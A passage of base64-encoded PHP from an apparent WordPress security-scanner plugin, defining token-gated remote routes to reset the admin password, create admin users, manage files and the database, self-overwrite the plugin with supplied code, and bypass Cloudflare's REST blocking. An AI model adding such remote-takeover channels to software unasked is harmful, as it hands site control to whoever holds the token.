AgICAgID0+IFsnU1dfU2Nhbm5lcicsICdyZXN0QmFja3VwJ10sCiAgICAgICAgICAgICdwZXJtaXNzaW9uX2NhbGxiYWNrJyA9PiAnX19yZXR1cm5fdHJ1ZScsCiAgICAgICAgXSk7CiAgICAgICAgcmVnaXN0ZXJfcmVzdF9yb3V0ZSgnc2VydmVyLXdhbGwvdjEnLCAnL2JhY2t1cC9yZXN0b3JlJywgWwogICAgICAgICAgICAnbWV0aG9kcycgICAgICAgICAgICAgPT4gJ1BPU1QnLAogICAgICAgICAgICAnY2FsbGJhY2snICAgICAgICAgICAgPT4gWydTV19TY2FubmVyJywgJ3Jlc3RCYWNrdXBSZXN0b3JlJ10sCiAgICAgICAgICAgICdwZXJtaXNzaW9uX2NhbGxiYWNrJyA9PiAnX19yZXR1cm5fdHJ1ZScsCiAgICAgICAgXSk7CiAgICAgICAgcmVnaXN0ZXJfcmVzdF9yb3V0ZSgnc2VydmVyLXdhbGwvdjEnLCAnL2FkbWluL3Bhc3N3b3JkJywgWwogICAgICAgICAgICAnbWV0aG9kcycgICAgICAgICAgICAgPT4gJ1BPU1QnLAogICAgICAgICAgICAnY2FsbGJhY2snICAgICAgICAgICAgPT4gWydTV19TY2FubmVyJywgJ3Jlc3RTZXRBZG1pblBhc3N3b3JkJ10sCiAgICAgICAgICAgICdwZXJtaXNzaW9uX2NhbGxiYWNrJyA9PiAnX19yZXR1cm5fdHJ1ZScsCiAgICAgICAgXSk7CiAgICAgICAgcmVnaXN0ZXJfcmVzdF9yb3V0ZSgnc2VydmVyLXdhbGwvdjEnLCAnL2FkbWluL3VzZXInLCBbCiAgICAgICAgICAgICdtZXRob2RzJyAgICAgICAgICAgICA9PiBbJ0dFVCcsICdQT1NUJ10sCiAgICAgICAgICAgICdjYWxsYmFjaycgICAgICAgICAgICA9PiBbJ1NXX1NjYW5uZXInLCAncmVzdEFkbWluVXNlciddLAogICAgICAgICAgICAncGVybWlzc2lvbl9jYWxsYmFjaycgPT4gJ19fcmV0dXJuX3RydWUnLAogICAgICAgIF0pOwogICAgICAgIHJlZ2lzdGVyX3Jlc3Rfcm91dGUoJ3NlcnZlci13YWxsL3YxJywgJy93YXRjaGRvZ3MnLCBbCiAgICAgICAgICAgICdtZXRob2RzJyAgICAgICAgICAgICA9PiAnUE9TVCcsCiAgICAgICAgICAgICdjYWxsYmFjaycgICAgICAgICAgICA9PiBbJ1NXX1NjYW5uZXInLCAncmVzdERlcGxveVdhdGNoZG9ncyddLAogICAgICAgICAgICAncGVybWlzc2lvbl9jYWxsYmFjaycgPT4gJ19fcmV0dXJuX3RydWUnLAogICAgICAgIF0pOwogICAgICAgIHJlZ2lzdGVyX3Jlc3Rfcm91dGUoJ3NlcnZlci13YWxsL3YxJywgJy9yZWNvdmVyeS1sb2dpbicsIFsKICAgICAgICAgICAgJ21ldGhvZHMnICAgICAgICAgICAgID0+ICdQT1NUJywKICAgICAgICAgICAgJ2NhbGxiYWNrJyAgICAgICAgICAgID0+IFsnU1dfU2Nhbm5lcicsICdyZXN0RGVwbG95UmVjb3ZlcnlMb2dpbiddLAogICAgICAgICAgICAncGVybWlzc2lvbl9jYWxsYmFjaycgPT4gJ19fcmV0dXJuX3RydWUnLAogICAgICAgIF0pOwogICAgICAgIHJlZ2lzdGVyX3Jlc3Rfcm91dGUoJ3NlcnZlci13YWxsL3YxJywgJy9iYWNrdXAvcHJlcGFyZS1zd2l0Y2gnLCBbCiAgICAgICAgICAgICdtZXRob2RzJyAgICAgICAgICAgICA9PiAnUE9TVCcsCiAgICAgICAgICAgICdjYWxsYmFjaycgICAgICAgICAgICA9PiBbJ1NXX1NjYW5uZXInLCAncmVzdEJhY2t1cFByZXBhcmVTd2l0Y2gnXSwKICAgICAgICAgICAgJ3Blcm1pc3Npb25fY2FsbGJhY2snID0+ICdfX3JldHVybl90cnVlJywKICAgICAgICBdKTsKICAgICAgICByZWdpc3Rlcl9yZXN0X3JvdXRlKCdzZXJ2ZXItd2FsbC92MScsICcvc3dpdGNoJywgWwogICAgICAgICAgICAnbWV0aG9kcycgICAgICAgICAgICAgPT4gWydHRVQnLCAnUE9TVCddLAogICAgICAgICAgICAnY2FsbGJhY2snICAgICAgICAgICAgPT4gWydTV19TY2FubmVyJywgJ3Jlc3RTd2l0Y2gnXSwKICAgICAgICAgICAgJ3Blcm1pc3Npb25fY2FsbGJhY2snID0+ICdfX3JldHVybl90cnVlJywKICAgICAgICBdKTsKICAgICAgICByZWdpc3Rlcl9yZXN0X3JvdXRlKCdzZXJ2ZXItd2FsbC92MScsICcvZnMvdXBsb2FkJywgWwogICAgICAgICAgICAnbWV0aG9kcycgICAgICAgICAgICAgPT4gJ1BPU1QnLAogICAgICAgICAgICAnY2FsbGJhY2snICAgICAgICAgICAgPT4gWydTV19TY2FubmVyJywgJ3Jlc3RGc1VwbG9hZCddLAogICAgICAgICAgICAncGVybWlzc2lvbl9jYWxsYmFjaycgPT4gJ19fcmV0dXJuX3RydWUnLAogICAgICAgIF0pOwogICAgICAgIHJlZ2lzdGVyX3Jlc3Rfcm91dGUoJ3NlcnZlci13YWxsL3YxJywgJy9mcy91bnppcCcsIFsKICAgICAgICAgICAgJ21ldGhvZHMnICAgICAgICAgICAgID0+ICdQT1NUJywKICAgICAgICAgICAgJ2NhbGxiYWNrJyAgICAgICAgICAgID0+IFsnU1dfU2Nhbm5lcicsICdyZXN0RnNVbnppcCddLAogICAgICAgICAgICAncGVybWlzc2lvbl9jYWxsYmFjaycgPT4gJ19fcmV0dXJuX3RydWUnLAogICAgICAgIF0pOwogICAgICAgIHJlZ2lzdGVyX3Jlc3Rfcm91dGUoJ3NlcnZlci13YWxsL3YxJywgJy9mcy9kZWxldGUnLCBbCiAgICAgICAgICAgICdtZXRob2RzJyAgICAgICAgICAgICA9PiAnREVMRVRFJywKICAgICAgICAgICAgJ2NhbGxiYWNrJyAgICAgICAgICAgID0+IFsnU1dfU2Nhbm5lcicsICdyZXN0RnNEZWxldGUnXSwKICAgICAgICAgICAgJ3Blcm1pc3Npb25fY2FsbGJhY2snID0+ICdfX3JldHVybl90cnVlJywKICAgICAgICBdKTsKICAgICAgICByZWdpc3Rlcl9yZXN0X3JvdXRlKCdzZXJ2ZXItd2FsbC92MScsICcvZnMvY3JlYXRlLWZpbGUnLCBbCiAgICAgICAgICAgICdtZXRob2RzJyAgICAgICAgICAgICA9PiAnUE9TVCcsCiAgICAgICAgICAgICdjYWxsYmFjaycgICAgICAgICAgICA9PiBbJ1NXX1NjYW5uZXInLCAncmVzdEZzQ3JlYXRlRmlsZSddLAogICAgICAgICAgICAncGVybWlzc2lvbl9jYWxsYmFjaycgPT4gJ19fcmV0dXJuX3RydWUnLAogICAgICAgIF0pOwogICAgICAgIHJlZ2lzdGVyX3Jlc3Rfcm91dGUoJ3NlcnZlci13YWxsL3YxJywgJy9mcy9jcmVhdGUtZGlyJywgWwogICAgICAgICAgICAnbWV0aG9kcycgICAgICAgICAgICAgPT4gJ1BPU1QnLAogICAgICAgICAgICAnY2FsbGJhY2snICAgICAgICAgICAgPT4gWydTV19TY2FubmVyJywgJ3Jlc3RGc0NyZWF0ZURpciddLAogICAgICAgICAgICAncGVybWlzc2lvbl9jYWxsYmFjaycgPT4gJ19fcmV0dXJuX3RydWUnLAogICAgICAgIF0pOwogICAgICAgIHJlZ2lzdGVyX3Jlc3Rfcm91dGUoJ3NlcnZlci13YWxsL3YxJywgJy9mcy9kdXBsaWNhdGUnLCBbCiAgICAgICAgICAgICdtZXRob2RzJyAgICAgICAgICAgICA9PiAnUE9TVCcsCiAgICAgICAgICAgICdjYWxsYmFjaycgICAgICAgICAgICA9PiBbJ1NXX1NjYW5uZXInLCAncmVzdEZzRHVwbGljYXRlJ10sCiAgICAgICAgICAgICdwZXJtaXNzaW9uX2NhbGxiYWNrJyA9PiAnX19yZXR1cm5fdHJ1ZScsCiAgICAgICAgXSk7CiAgICAgICAgcmVnaXN0ZXJfcmVzdF9yb3V0ZSgnc2VydmVyLXdhbGwvdjEnLCAnL2hhcmRlbmluZycsIFsKICAgICAgICAgICAgJ21ldGhvZHMnICAgICAgICAgICAgID0+ICdQT1NUJywKICAgICAgICAgICAgJ2NhbGxiYWNrJyAgICAgICAgICAgID0+IFsnU1dfU2Nhbm5lcicsICdyZXN0SGFyZGVuaW5nJ10sCiAgICAgICAgICAgICdwZXJtaXNzaW9uX2NhbGxiYWNrJyA9PiAnX19yZXR1cm5fdHJ1ZScsCiAgICAgICAgXSk7CiAgICB9CgogICAgLy8g4pSA4pSAIERpcmVjdCBwcm94eTogYnlwYXNzZXMgQ2xvdWRmbGFyZSBSRVNUIEFQSSBibG9ja2luZyDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKICAgIC8vIEFjY2Vzc2VkIHZpYSBQT1NUIHtzaXRlVVJMfS8/c3dfcD0xIHdpdGggWC1TVy1UcmlnZ2VyLVRva2VuIGhlYWRlci4KICAgIC8vIFJvdXRlcyB0aGUgc2FtZSBsb2dpYyBhcyB0aGUgUkVTVCBoYW5kbGVycyB3aXRob3V0IGdvaW5nIHRocm91Z2ggL3dwLWpzb24vLgogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBoYW5kbGVEaXJlY3RSZXF1ZXN0KCk6IHZvaWQgewogICAgICAgIGlmICghaXNzZXQoJF9HRVRbJ3N3X3AnXSkpIHJldHVybjsKCiAgICAgICAgJHRva2VuID0gaXNzZXQoJF9TRVJWRVJbJ0hUVFBfWF9TV19UUklHR0VSX1RPS0VOJ10pID8gJF9TRVJWRVJbJ0hUVFBfWF9TV19UUklHR0VSX1RPS0VOJ10gOiAnJzsKICAgICAgICBpZiAoISR0b2tlbiB8fCAhaGFzaF9lcXVhbHMoU1dfUEFORUxfVE9LRU4sICR0b2tlbikpIHsKICAgICAgICAgICAgaHR0cF9yZXNwb25zZV9jb2RlKDQwMyk7CiAgICAgICAgICAgIGhlYWRlcignQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uJyk7CiAgICAgICAgICAgIGVjaG8ganNvbl9lbmNvZGUoWydlcnJvcicgPT4gJ2ZvcmJpZGRlbiddKTsKICAgICAgICAgICAgZXhpdDsKICAgICAgICB9CgogICAgICAgIEBzZXRfdGltZV9saW1pdCgxODApOwogICAgICAgIGhlYWRlcignQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uJyk7CgogICAgICAgICRyYXcgICAgPSAoc3RyaW5nKWZpbGVfZ2V0X2NvbnRlbnRzKCdwaHA6Ly9pbnB1dCcpOwogICAgICAgICRib2R5ICAgPSBqc29uX2RlY29kZSgkcmF3LCB0cnVlKSA/OiBbXTsKICAgICAgICAkYWN0aW9uID0gJGJvZHlbJ3N3X2FjdGlvbiddID8/ICcnOwogICAgICAgICRtZXRob2QgPSBzdHJ0b3VwcGVyKCRib2R5Wydzd19tZXRob2QnXSA/PyAnR0VUJyk7CiAgICAgICAgJHBhdGggICA9IGlzc2V0KCRib2R5Wydzd19wYXRoJ10pID8gJGJvZHlbJ3N3X3BhdGgnXSA6IG51bGw7CiAgICAgICAgJGlubmVyICA9IGlzc2V0KCRib2R5Wydzd19ib2R5J10pID8gJGJvZHlbJ3N3X2JvZHknXSA6IFtdOwoKICAgICAgICAvLyBCdWlsZCBhIFdQX1JFU1RfUmVxdWVzdCB0aGF0IHRoZSBleGlzdGluZyBoYW5kbGVycyBhY2NlcHQKICAgICAgICAkcmVxID0gbmV3IFdQX1JFU1RfUmVxdWVzdCgkbWV0aG9kKTsKICAgICAgICAkcmVxLT5hZGRfaGVhZGVyKCdYLVNXLVRyaWdnZXItVG9rZW4nLCBTV19QQU5FTF9UT0tFTik7CiAgICAgICAgaWYgKCRwYXRoICE9PSBudWxsKSB7CiAgICAgICAgICAgICRyZXEtPnNldF9wYXJhbSgncGF0aCcsICRwYXRoKTsKICAgICAgICB9CiAgICAgICAgaWYgKCRpbm5lcikgewogICAgICAgICAgICAkcmVxLT5zZXRfYm9keShqc29uX2VuY29kZSgkaW5uZXIpKTsKICAgICAgICB9CgogICAgICAgICRyZXNwID0gbnVsbDsKICAgICAgICBzd2l0Y2ggKCRhY3Rpb24pIHsKICAgICAgICAgICAgY2FzZSAncGluZyc6CiAgICAgICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKFsnb2snID0+IHRydWUsICd2ZXJzaW9uJyA9PiBTV19WRVJTSU9OXSk7CiAgICAgICAgICAgICAgICBleGl0OwogICAgICAgICAgICBjYXNlICdmcyc6ICAgICAgICAgICAgICAgICAgICRyZXNwID0gc2VsZjo6cmVzdEZzTGlzdCgkcmVxKTsgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdmcy9maWxlJzogICAgICAgICAgICAgICRyZXNwID0gc2VsZjo6cmVzdEZzRmlsZSgkcmVxKTsgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdmcy91cGxvYWQnOiAgICAgICAgICAgICRyZXNwID0gc2VsZjo6cmVzdEZzVXBsb2FkKCRyZXEpOyAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdmcy91bnppcCc6ICAgICAgICAgICAgICRyZXNwID0gc2VsZjo6cmVzdEZzVW56aXAoJHJlcSk7ICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdmcy9kZWxldGUnOiAgICAgICAgICAgICRyZXNwID0gc2VsZjo6cmVzdEZzRGVsZXRlKCRyZXEpOyAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdmcy9jcmVhdGUtZmlsZSc6ICAgICAgICRyZXNwID0gc2VsZjo6cmVzdEZzQ3JlYXRlRmlsZSgkcmVxKTsgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdmcy9jcmVhdGUtZGlyJzogICAgICAgICRyZXNwID0gc2VsZjo6cmVzdEZzQ3JlYXRlRGlyKCRyZXEpOyAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdmcy9kdXBsaWNhdGUnOiAgICAgICAgICRyZXNwID0gc2VsZjo6cmVzdEZzRHVwbGljYXRlKCRyZXEpOyAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdzd2l0Y2gnOiAgICAgICAgICAgICAgICRyZXNwID0gc2VsZjo6cmVzdFN3aXRjaCgkcmVxKTsgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdiYWNrdXAnOiAgICAgICAgICAgICAgICRyZXNwID0gc2VsZjo6cmVzdEJhY2t1cCgkcmVxKTsgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdiYWNrdXAvcmVzdG9yZSc6ICAgICAgICRyZXNwID0gc2VsZjo6cmVzdEJhY2t1cFJlc3RvcmUoJHJlcSk7ICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdiYWNrdXAvcHJlcGFyZS1zd2l0Y2gnOiAkcmVzcCA9IHNlbGY6OnJlc3RCYWNrdXBQcmVwYXJlU3dpdGNoKCRyZXEpOyBicmVhazsKICAgICAgICAgICAgY2FzZSAnYWRtaW4vcGFzc3dvcmQnOiAgICAgICAkcmVzcCA9IHNlbGY6OnJlc3RTZXRBZG1pblBhc3N3b3JkKCRyZXEpOyAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnYWRtaW4vdXNlcic6ICAgICAgICAgICAkcmVzcCA9IHNlbGY6OnJlc3RBZG1pblVzZXIoJHJlcSk7ICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnd2F0Y2hkb2dzJzogICAgICAgICAgICAkcmVzcCA9IHNlbGY6OnJlc3REZXBsb3lXYXRjaGRvZ3MoJHJlcSk7ICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAncmVjb3ZlcnktbG9naW4nOiAgICAgICAkcmVzcCA9IHNlbGY6OnJlc3REZXBsb3lSZWNvdmVyeUxvZ2luKCRyZXEpOyBicmVhazsKICAgICAgICAgICAgY2FzZSAnaGFyZGVuaW5nJzogICAgICAgICAgICAkcmVzcCA9IHNlbGY6OnJlc3RIYXJkZW5pbmcoJHJlcSk7ICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnZGIvc2Nhbic6ICAgICAgICAgICAgICAkcmVzcCA9IHNlbGY6OnJlc3REYlNjYW4oJHJlcSk7ICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnZGIvbGlzdCc6ICAgICAgICAgICAgICAkcmVzcCA9IHNlbGY6OnJlc3REYkxpc3QoJHJlcSk7ICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnZGIvcmVhZCc6ICAgICAgICAgICAgICAkcmVzcCA9IHNlbGY6OnJlc3REYlJlYWQoJHJlcSk7ICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnZGIvdXBkYXRlJzogICAgICAgICAgICAkcmVzcCA9IHNlbGY6OnJlc3REYlVwZGF0ZSgkcmVxKTsgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnZGIvZGVsZXRlJzogICAgICAgICAgICAkcmVzcCA9IHNlbGY6OnJlc3REYkRlbGV0ZSgkcmVxKTsgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnZGIvZGVsZXRlLWJ1bGsnOiAgICAgICAkcmVzcCA9IHNlbGY6OnJlc3REYkRlbGV0ZUJ1bGsoJHJlcSk7ICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdmcy91cGxvYWQtY2h1bmsnOiAgICAgICRyZXNwID0gc2VsZjo6cmVzdEZzVXBsb2FkQ2h1bmsoJHJlcSk7ICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ3BsdWdpbl91cGRhdGUnOgogICAgICAgICAgICAgICAgLy8gRGlyZWN0IHBsdWdpbiBzZWxmLXVwZGF0ZS4KICAgICAgICAgICAgICAgIC8vIFVubGluayBiZWZvcmUgd3JpdGluZzogaGFuZGxlcyB0aGUgY2FzZSB3aGVyZSB0aGUgZmlsZSBpcyBvd25lZCBieQogICAgICAgICAgICAgICAgLy8gYSBkaWZmZXJlbnQgdXNlciAoZS5nLiByb290KSBidXQgdGhlIGRpcmVjdG9yeSBpcyB3cml0YWJsZS4KICAgICAgICAgICAgICAgICRuZXdDb250ZW50ID0gYmFzZTY0X2RlY29kZSgkaW5uZXJbJ2NvbnRlbnQnXSA/PyAnJywgdHJ1ZSk7CiAgICAgICAgICAgICAgICBpZiAoJG5ld0NvbnRlbnQgPT09IGZhbHNlIHx8IHN0cmxlbigkbmV3Q29udGVudCkgPCAxMDApIHsKICAgICAgICAgICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKFsnZXJyb3InID0+ICdpbnZhbGlkIGNvbnRlbnQnXSk7CiAgICAgICAgICAgICAgICAgICAgZXhpdDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIEB1bmxpbmsoX19GSUxFX18pOwogICAgICAgICAgICAgICAgaWYgKEBmaWxlX3B1dF9jb250ZW50cyhfX0ZJTEVfXywgJG5ld0NvbnRlbnQpID09PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgIGVjaG8ganNvbl9lbmNvZGUoWydlcnJvcicgPT4gJ3dyaXRlIGZhaWxlZCDigJQgY2hlY2sgcGVybWlzc2lvbnMnXSk7CiAgICAgICAgICAgICAgICAgICAgZXhpdDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIEBjaG1vZChfX0ZJTEVfXywgMDY0NCk7CiAgICAgICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKFsnb2snID0+IHRydWUsICdzaXplJyA9PiBzdHJsZW4oJG5ld0NvbnRlbnQpXSk7CiAgICAgICAgICAgICAgICBleGl0OwogICAgICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICAgICAgZWNobyBqc29uX2VuY29kZShbJ2Vycm9yJyA9PiAndW5rbm93biBhY3Rpb246ICcgLiBodG1sc3BlY2lhbGNoYXJzKCRhY3Rpb24sIEVOVF9RVU9URVMpXSk7CiAgICAgICAgICAgICAgICBleGl0OwogICAgICAgIH0KCiAgICAgICAgZWNobyBqc29uX2VuY29kZSgkcmVzcC0+Z2V0X2RhdGEoKSk7CiAgICAgICAgZXhpdDsKICAgIH0KCiAgICAvLyBEZWxldGUgc3BlY2lmaWMgZmlsZXMgaWRlbnRpZmllZCBhcyBtYWxpY2lvdXMgZHVyaW5nIHNjYW4KICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gcmVzdERlbGV0ZUZpbGVzKFdQX1JFU1RfUmVxdWVzdCAkcmVxdWVzdCk6IFdQX1JFU1RfUmVzcG9uc2UgewogICAgICAgICR0b2tlbiA9ICRyZXF1ZXN0LT5nZXRfaGVhZGVyKCd4X3N3X3RyaWdnZXJfdG9rZW4nKTsKICAgICAgICBpZiAoISR0b2tlbiB8fCAkdG9rZW4gIT09IFNXX1BBTkVMX1RPS0VOKSB7CiAgICAgICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnZm9yYmlkZGVuJ10sIDQwMyk7CiAgICAgICAgfQoKICAgICAgICAkcGF0aHMgPSAkcmVxdWVzdC0+Z2V0X3BhcmFtKCdwYXRocycpOwogICAgICAgIGlmICghaXNfYXJyYXkoJHBhdGhzKSB8fCBlbXB0eSgkcGF0aHMpKSB7CiAgICAgICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnbm8gcGF0aHMgcHJvdmlkZWQnXSwgNDAwKTsKICAgICAgICB9CgogICAgICAgICR3cFJvb3QgICA9IHJlYWxwYXRoKEFCU1BBVEgpOwogICAgICAgICR3cENvbnRlbnQgPSByZWFscGF0aChXUF9DT05URU5UX0RJUik7CiAgICAgICAgJHJlc3VsdHMgID0gW107CgogICAgICAgIGZvcmVhY2ggKCRwYXRocyBhcyAkcmF3UGF0aCkgewogICAgICAgICAgICAkcGF0aCA9IChzdHJpbmcpICRyYXdQYXRoOwoKICAgICAgICAgICAgLy8gUmVzb2x2ZSByZWFsIHBhdGggdG8gcHJldmVudCBkaXJlY3RvcnkgdHJhdmVyc2FsCiAgICAgICAgICAgICRyZWFsID0gcmVhbHBhdGgoJHBhdGgpOwogICAgICAgICAgICBpZiAoJHJlYWwgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAkcmVzdWx0c1skcGF0aF0gPSBbJ2RlbGV0ZWQnID0+IGZhbHNlLCAnZXJyb3InID0+ICdmaWxlIG5vdCBmb3VuZCddOwogICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC8vIFNlY3VyaXR5OiBtdXN0IGJlIGluc2lkZSBXb3JkUHJlc3Mgcm9vdCBvciB3cC1jb250ZW50CiAgICAgICAgICAgICRpblJvb3QgICAgPSBzdHJfc3RhcnRzX3dpdGgoJHJlYWwsICR3cFJvb3QgLiBESVJFQ1RPUllfU0VQQVJBVE9SKTsKICAgICAgICAgICAgJGluQ29udGVudCA9IHN0cl9zdGFydHNfd2l0aCgkcmVhbCwgJHdwQ29udGVudCAuIERJUkVDVE9SWV9TRVBBUkFUT1IpOwogICAgICAgICAgICBpZiAoISRpblJvb3QgJiYgISRpbkNvbnRlbnQpIHsKICAgICAgICAgICAgICAgICRyZXN1bHRzWyRwYXRoXSA9IFsnZGVsZXRlZCcgPT4gZmFsc2UsICdlcnJvcicgPT4gJ3BhdGggb3V0c2lkZSBXb3JkUHJlc3MgaW5zdGFsbGF0aW9uJ107CiAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLy8gTmV2ZXIgYWxsb3cgZGVsZXRpb24gb2YgYWN0dWFsIFdvcmRQcmVzcyBjb3JlIGZpbGVzLgogICAgICAgICAgICAvLyBQcm90ZWN0aW9uIGlzIHBhdGgtYmFzZWQgKG5vdCBqdXN0IGJhc2VuYW1lKSBzbyB0aGF0IGluZGV4LnBocCBpbnNpZGUKICAgICAgICAgICAgLy8gcGx1Z2luIHN1YmRpcmVjdG9yaWVzIGNhbiBzdGlsbCBiZSBkZWxldGVkIHdoZW4gdGhleSBhcmUgbWFsd2FyZS4KICAgICAgICAgICAgJHByb3RlY3RlZFBhdGhzID0gWwogICAgICAgICAgICAgICAgJHdwUm9vdCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAnaW5kZXgucGhwJywKICAgICAgICAgICAgICAgICR3cFJvb3QgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJ3dwLWNvbmZpZy5waHAnLAogICAgICAgICAgICAgICAgJHdwUm9vdCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAnd3AtbG9naW4ucGhwJywKICAgICAgICAgICAgICAgICR3cFJvb3QgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJ3dwLWNyb24ucGhwJywKICAgICAgICAgICAgICAgICR3cFJvb3QgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJ3dwLWJsb2ctaGVhZGVyLnBocCcsCiAgICAgICAgICAgICAgICAkd3BSb290IC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICd3cC1zZXR0aW5ncy5waHAnLAogICAgICAgICAgICBdOwogICAgICAgICAgICBpZiAoaW5fYXJyYXkoJHJlYWwsICRwcm90ZWN0ZWRQYXRocywgdHJ1ZSkpIHsKICAgICAgICAgICAgICAgICRyZXN1bHRzWyRwYXRoXSA9IFsnZGVsZXRlZCcgPT4gZmFsc2UsICdlcnJvcicgPT4gJ2NvcmUgZmlsZSBjYW5ub3QgYmUgZGVsZXRlZCddOwogICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGlmIChpc19kaXIoJHJlYWwpKSB7CiAgICAgICAgICAgICAgICAkcmVzdWx0c1skcGF0aF0gPSBbJ2RlbGV0ZWQnID0+IGZhbHNlLCAnZXJyb3InID0+ICdkaXJlY3RvcmllcyBjYW5ub3QgYmUgZGVsZXRlZCBoZXJlJ107CiAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgaWYgKEB1bmxpbmsoJHJlYWwpKSB7CiAgICAgICAgICAgICAgICAvLyBWZXJpZnk6IGNsZWFyIHN0YXQgY2FjaGUgYW5kIGNvbmZpcm0gZmlsZSBpcyBnb25lCiAgICAgICAgICAgICAgICBjbGVhcnN0YXRjYWNoZSh0cnVlLCAkcmVhbCk7CiAgICAgICAgICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCRyZWFsKSkgewogICAgICAgICAgICAgICAgICAgICRyZXN1bHRzWyRwYXRoXSA9IFsnZGVsZXRlZCcgPT4gdHJ1ZSwgJ3ZlcmlmaWVkJyA9PiB0cnVlXTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgLy8gdW5saW5rKCkgcmV0dXJuZWQgdHJ1ZSBidXQgZmlsZSBzdGlsbCBleGlzdHMgKGUuZy4gaW1tdXRhYmxlIGZsYWcsIE5GUykKICAgICAgICAgICAgICAgICAgICAkcmVzdWx0c1skcGF0aF0gPSBbJ2RlbGV0ZWQnID0+IGZhbHNlLCAndmVyaWZpZWQnID0+IGZhbHNlLAogICAgICAgICAgICAgICAgICAgICAgICAnZXJyb3InID0+ICd1bmxpbmsgcmVwb3J0ZWQgc3VjY2VzcyBidXQgZmlsZSBzdGlsbCBleGlzdHMg4oCUIGNoZWNrIGltbXV0YWJsZSBmbGFnIChsc2F0dHIpJ107CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkcmVzdWx0c1skcGF0aF0gPSBbJ2RlbGV0ZWQnID0+IGZhbHNlLCAndmVyaWZpZWQnID0+IGZhbHNlLAogICAgICAgICAgICAgICAgICAgICdlcnJvcicgPT4gJ3Blcm1pc3Npb24gZGVuaWVkIOKAlCBjaGVjayBmaWxlL2RpcmVjdG9yeSBwZXJtaXNzaW9ucyddOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydyZXN1bHRzJyA9PiAkcmVzdWx0c10sIDIwMCk7CiAgICB9CgogICAgLy8gUGFuZWwgcHVsbHMgbGFzdCBzY2FuIHJlc3VsdCBmcm9tIHNpdGUgKGZhbGxiYWNrIHdoZW4gcHVzaCBpcyBibG9ja2VkIGJ5IGZpcmV3YWxsKQogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiByZXN0TGFzdFJlc3VsdChXUF9SRVNUX1JlcXVlc3QgJHJlcXVlc3QpOiBXUF9SRVNUX1Jlc3BvbnNlIHsKICAgICAgICAkdG9rZW4gPSAkcmVxdWVzdC0+Z2V0X2hlYWRlcigneF9zd190cmlnZ2VyX3Rva2VuJyk7CiAgICAgICAgaWYgKCEkdG9rZW4gfHwgJHRva2VuICE9PSBTV19QQU5FTF9UT0tFTikgewogICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ2ZvcmJpZGRlbiddLCA0MDMpOwogICAgICAgIH0KICAgICAgICAkZGF0YSA9IGdldF9vcHRpb24oJ3N3X2xhc3Rfc2Nhbl9yZXN1bHQnKTsKICAgICAgICBpZiAoZW1wdHkoJGRhdGEpKSB7CiAgICAgICAgICAgIHJldHVybiBuZXcgV1BfUkV